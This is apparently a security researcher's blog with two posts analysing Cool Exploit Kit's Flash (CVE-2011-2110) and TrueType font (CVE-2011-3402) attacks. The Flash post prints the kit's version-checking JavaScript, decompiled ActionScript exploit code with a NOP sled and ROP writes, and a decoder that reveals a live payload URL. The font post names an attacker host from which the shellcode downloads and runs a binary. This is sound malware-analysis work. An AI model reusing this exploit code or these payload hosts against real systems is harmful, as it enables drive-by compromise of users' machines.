Friday, November 30, 2012

Flash exploit (CVE-2011-2110) and Cool Exploit Kit

The Cool Exploit kit is using two flash vulnerabilities for the exploits. In this particular post, The vulnerability for CVE-2011-2110 will be analyzed. The post will highlight on analyzing the attack using flash exploit instead of detail on the vulnerability of CVE-2011-2110. ARTeam has a great writeup explaining on CVE-2011-2110 here. For this blogpost, the focus start is still the index page of Cool Exploit Kit

The JavaScript retrieved from index page is as below
//JS code from Index's page. Only relavent code associated with Flash attack will be
//showed
//<snip><snip>....<snip>
 
function ShowPDF() {
                var pdf = (PluginDetect.getVersion("AdobeReader") + ".").toString().split(".");
                var vver = "";
                if (pdf[0] < 8) {
                    vver = "old";
                    setTimeout("FlashExploit()", 8003);
                } else if (pdf[0] == 8 || (pdf[0] == 9 && pdf[1] < 4)) {
                    vver = "new";
                    setTimeout("FlashExploit()", 7004);
                } else {
                    //<F1><EB><F3><E4><F3><FE><F9><E8><E9> <FD><EA><F1><EF><EB><EE><E9><F2>

                  FlashExploit();
                }
                if (vver != "") {
                    var d = document.createElement("div");
                    d.innerHTML = '<iframe src="../media/pdf_' + vver + '.php"></iframe>';
                    document.body.appendChild(d);
                }
            }

function FlashExploit() {
                var ver = ($$.getVersion("Flash") + ".").toString().split(".");
                if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || ((ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == (11 - 1) && ver[1] < 2))) {
                    var oSpan = document.createElement("span");
                    document.body.appendChild(oSpan);
                    oSpan.innerHTML = "<object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id'><param name='movie' value='../media/field.swf' /><param name='allowScriptAccess' value='always' /><param name='Play' value='0' /><embed src='../media/field.swf' id='swf_id' name='swf_id' allowScriptAccess='always' type='application/x-shockwave-flash' width='10' height='10'></embed></object>";
                } else if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
                    var oSpan = document.createElement("span");
                    document.body.appendChild(oSpan);
                    var avmurl = "02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8";
                    oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='../media/flash.swf?info=" + avmurl + "' /><embed src='../media/flash.swf?info=" + avmurl + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>"
                }

}

//<snip><snip>....<snip>

The function of FlashExploit() will be triggered after pdf attacks related executed. The analysis will be on FlashExploit().

Upon inspecting FlashExploit(), two different flash files are prepared. Depending on version target different file will be loaded. In this article, the flash file will be analyzed is the one loaded to match with these versions or lesser than 10.3.181.24  or  lesser than 10.3.181

In the setup for loading the flash, one parameter avmurl is initialize and assigned to:


var avmurl = "02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8"
Inspecting further, the flash file, located at (../media/flash.swf) will receive the avmurl as the first parameter. The analysis of the flash.swf file is required to understand the what it will do with avmurl parameter.  Partial AS3 code below is belong to flash.swf file after decompiled
//
package 
{
        public class Main extends flash.display.MovieClip
        {
                public function Main()
                {
                        var i:uint = 0;
                        var loader:URLLoader = null;
                        var onLoadComplete:Function = null;
                        var onLoadComplete:Function = function(arg0:flash.events.Event):void
                        {
                                var local1:*;
                                content = loader.data;
                                i = 0;
                                while(i < content.length)
                                {
                                        content[i] = (content[i]) ^ 122;
                                        local1 = i + 1;
                                        i = local1;
                                }
                                content.uncompress();
                                content_len = content.length;
                                var local0:* = new ByteArray();
                                code = local0;
                                local0.position = 1024 * 1024;
                                local0.writeInt(2053274210);
                                local0.writeInt(2053339747);
                                local0.writeInt(2053405283);
                                local0.writeObject(local0);
                                exploit(local0, local0);
                                trace(local0.length);
                        };
                        var param:* = root.loaderInfo.parameters;
                        var t_url:hexToBin = param[((('i') + ('n')) + ('f')) + ('o')];
                        while(i < t_url.length)
                        {
                                t_url[i] = (t_url[i]) ^ 122;
                                var i:uint = i + 1;
                        }
                        t_url.uncompress();


//<snip><snip>....<snip>
At line number 35, the code retrieved a paramater from "info" which indeed belong to passed parameter  from JavaScript code. The info paramater will be converted from hex to bin and will be XOR with 122 key. The xor'ed param will be uncompressed (Flash is using zlib library for decompression) next. By knowing this details, we can now inspect what is actually "info" paramater is. In this example, a ruby approach is choose to demonstrate the implementation (it seems code in ruby is much easier to implement as oppose to setup AS3 development set, if you already have the as3 ready, just copy-paste the relavant code sample). Below is the ruby code to achieve the same logic:

//ruby code to mimic the AS3 code for manipulating "info" param

require 'zlib'
info="02e6b1525353caa8ad555330b65154b25550abb1b25633b6315350b7a93134ac55a835a951b252ca3556b1cf4f7e7a1c2075a8"
data=""
info.scan(/../) { |a| data << (a.to_i(16)^122)}
puts Zlib::Inflate.inflate(data)

Run the code with:
shell>$ruby infoswf.rb 
http://transport.hitandrun.cc/r/f.php?avm=1

The result of "info" manipulation seems to be an URL. The URL will be used by code as showed on code snippet below:

//<snip>..<snip>
                               {
                                                error_arr.uncompress();
                                        }
                                }
                        }
                        var url_str:String = t_url;
                        var loader:URLLoader = new URLLoader();
                        loader.dataFormat = URLLoaderDataFormat.BINARY;
                        loader.addEventListener(Event.COMPLETE, onLoadComplete);
                        loader.load(new URLRequest(t_url.toString()));
                }

//<snip>..<snip>
Further analysis as3 code revealed that the URL contains a xor with 122 key shellcode. The as3 code snippet below showed the URL will be downloaded and XOR with 122.
//<snip>..<snip>
public
function Main() {
    var i: uint = 0;
    var loader: URLLoader = null;
    var onLoadComplete: Function = null;
    var onLoadComplete: Function = function (arg0: flash.events.Event): void {
        var local1: * ;
        content = loader.data;
        i = 0;
        while (i & lt; content.length) {
            content[i] = (content[i]) ^ 122;
            local1 = i + 1;
            i = local1;
        }
        content.uncompress();
        content_len = content.length;
        var local0: * = new ByteArray();
        code = local0;
        local0.position = 1024 * 1024;
        local0.writeInt(2053274210);
        local0.writeInt(2053339747);
        local0.writeInt(2053405283);
        local0.writeObject(local0);
        exploit(local0, local0);
        trace(local0.length);
    };


//<snip>..<snip>
The as3 code snippet below showed is basically the exploit code to trigger the vulnerability of CVE-2011-2110 and setup the NOP Sled.
//<snip>..<snip>

public function exploit(): void {
    var uint1: uint = 0;
    var local2: * = this.code;
//Trigger the 1st memory leak
    var number1: Number = new Number(parseFloat(String(local0[1073741841])));
    var local4: * = new ByteArray(); < dup > new ByteArray().position = 0;
    local4.writeDouble(number1);
    var local5: * = ((((local4[0]) * 16777216) + ((local4[1]) * 65536)) + ((local4[2]) * 256)) + (local4[3]);
    this.baseaddr = local5;
    local2.position = 0;
    local2.endian = Endian.LITTLE_ENDIAN;
    local2.writeInt(((this.pobj - 1) + 16) + ((1024 * 4) * 100));
    local2.endian = Endian.BIG_ENDIAN;
    local2.writeUnsignedInt(1094861636);
    local2.writeUnsignedInt(1094861636);
    local2.writeUnsignedInt(1162233672);
    uint1 = 0;
//setup NOP Sled 41414141
    while (uint1 < 1024 * 100) {
        local2.writeUnsignedInt(1094795585);
        uint1 = uint1 + 1;
    }
//<snip>..<snip>

//ROPing
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;
local2.endian = Endian.LITTLE_ENDIAN;
local2.writeUnsignedInt(this.inc_eax_ret + 1);
local2.endian = Endian.BIG_ENDIAN;

//<snip>..<snip>

//9090 NOP Sled
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.writeUnsignedInt(2425393296);
local2.endian = Endian.BIG_ENDIAN;

//write XOR'ed data with 122 key retrieved from the URL (info)
local2.writeBytes(this.content, 0, this.content.length);
//<snip>..<snip>

//Trigger another memory leak
var number2: Number = new Number(parseFloat(String(local0[1073741741])));
var local7: * = new ByteArray();

//<snip>..<snip>

Inspecting the code further reveal a similarity of metasploit's module for "adobe_flashplayer_arrayindexing".

The next post will be on malicious PDF or another Flash vulnerability. 

Wednesday, November 28, 2012

CVE-2011-3402 and Cool Exploit Kit

I have been working with the Cool Exploit Kits payloads (attack vectors, rather, for the pass few days. The attack vectors consist of multiple vectors such as Flash, Java, PDF, Font and . It's interesting to see how the exploit kit is having probably the latest exploits released in public and also a 0day for Java vulnerability. The Cool Exploit kits is very stand out from many exploit kits due to Java 0day (please read the awesome article by @kafeine on the Java 0day analysis here). @kafeine also wrote a post on the Cool Exploit kits architecture here. So, i'll try to write multiple articles and only concentrating on analysis of these particular vulnerabilities used within the exploit kit: CVE-2011-3402 for TTF font, CVE2010-0188 for LibTIFF on Adobe's PDF, and CVE-2011-2110 for AVM bytecode confusion on Adobe's Flash. In this post, I'll focus on CVE2011-3402.

The analysis start with inspecting index's file retrieved from main page hosting the exploit kit. I'm using Thug ( a honeyclient honeypot, develop by Angello 'buffer' Dell'Aera) to speed up my analysis (so much thing to do when it comes to de-obfuscation of Javascript, ;P). Please refer for documentation on how to setup Thug and how to use it. Below is the Figure 1.0 screenshot of the result of page rendering.



Figure 1.0: Result from Thug showed the setup for @font-face pointing to font file at ../32size_font.eot with later being applied to "duqu" CSS style

The one interesting part of the Figure 1.0 is the word of "duqu". The IE font-face will fetch a remote font specified by the "src:url" parameter which pointing to ../32size_font.eot. A CSS style for the font-face using a font of ../32size_font.eot then sets to "duqu". The "duqu" style is important to understand because, in order to trigger the vulnerability in the font system, the font need to be called by the browser which later will call font engine (Win32k). Figure 1.0 [3], showed how the the style of duqu being rendered. Wasn't it cute when the smiley chars ":)" being showed in our browser?. I'll explain about this later.

The next step for the analysis is to download the 32size_font.eot for further analysis. The url for the 32size_font.eot is http://hosted_ip/r/32size_font.eot. In one of my analysis, i downloaded it via URL http://transport.hitandrun.cc/r/32size_font.eot.  

The Embedded OpenType File Format (EOT) was developed by Microsoft to enable TrueType and OpenType fonts to be linked to web pages for download to render the web page with the font. The understanding EOT format is crucial in order to reconstruct the original font. Please read a good specifacation from Microsoft on EOT specification here. The EOT is a mere container to enable the TTF font to be loaded into the application (in this case is a browser), thus triggering vulnerability inside a TTF font rendering system (Win32k).  Figure 2.0 showed a basic information about the downloaded file. 


Figure 2.0: Basic information for the 32size_font.eot

The FullName and FamilyName for the font sounds familiar. Symantec's report on Duqu pointed out about the font name used within the Duqu attack is called Dexter.  The FontDataSize value is 4004 bytes which represent the size of the embedded font.  Based on the Figure 2.0 result, I'm a bit curious about the "Flags" when "not-compressed" is presented. When checking the embedded font data, I failed to recognize any TTF metadata presented. So, I decided to write a new EOT file parser. Figure 3.0 showed the result of my EOT parser. 


Figure 3.0 showed the result of the new EOT parser

The new parser will parse the metadata of EOT file and will dump the embedded font into a new file. In this case, it will dump into Dexter. As for the flag, it showed a different result which has now been "tt_compressed" instead of "not_compressed". This result showed the embedded TTF font is compressed. According to Microsoft EOF specification, the compression algorithm used is the MicroType® Express algorithm. Based on this information, the Dexter file is required to be decompressed to retrieve the uncompress TTF font. Once the Dexter file is uncompressed, the TTF metadata can be showed as shown in Figure 4.0. 


Figure 4.0 showed TTF metadata

The next step is to analyze on the Dexter TTF font. A good documentation on CVE-2011-3402 and it exploitation possibility are described in a great detail from BlackHat Europe 2012 presentation (From Lee Ling Chuan aka lclee_vx) which can be downloaded from here and here.

In order to understand the TTF file format in easy way, 010 Editor's TTF Font template is used. Figure 5.0 showed the TTF Font format inside 010 Editor.


Figure 5.0 showed the TTF Font format inside 010 Editor.

Based on the lclee_vx's presentation, the criteria to trigger the exploit are pretty much the same with the extracted Dexter TTF font. Upon checking further, the shellcode can be discovered at FPGM Table. Two shellcodes is used, once is for ring0 and another one is ring3 shellcode. Ring 0 shellcode will copy and  execute ring 3 shellcode. Ring 3 shellcode is to download and execute (download and exec) a binary from this url: http://146.185.235.21/r/f.php?k=4. Figures 6.0 and 7.0 showed part of ring 0 and ring 3 shellcode, respectively.



Figures 6.0 Ring 0 (kernel) shellcode



Figures 7.0 Ring 3 (userlandshellcode


If we carefully check on the characters supported by the Dexter TTF font are only smiley chars which are ":)". So, in order to trigger the vulnerability, the smiley chars are used inside <div class=duqu>:)</div>. Please refer back to Figure 1.0.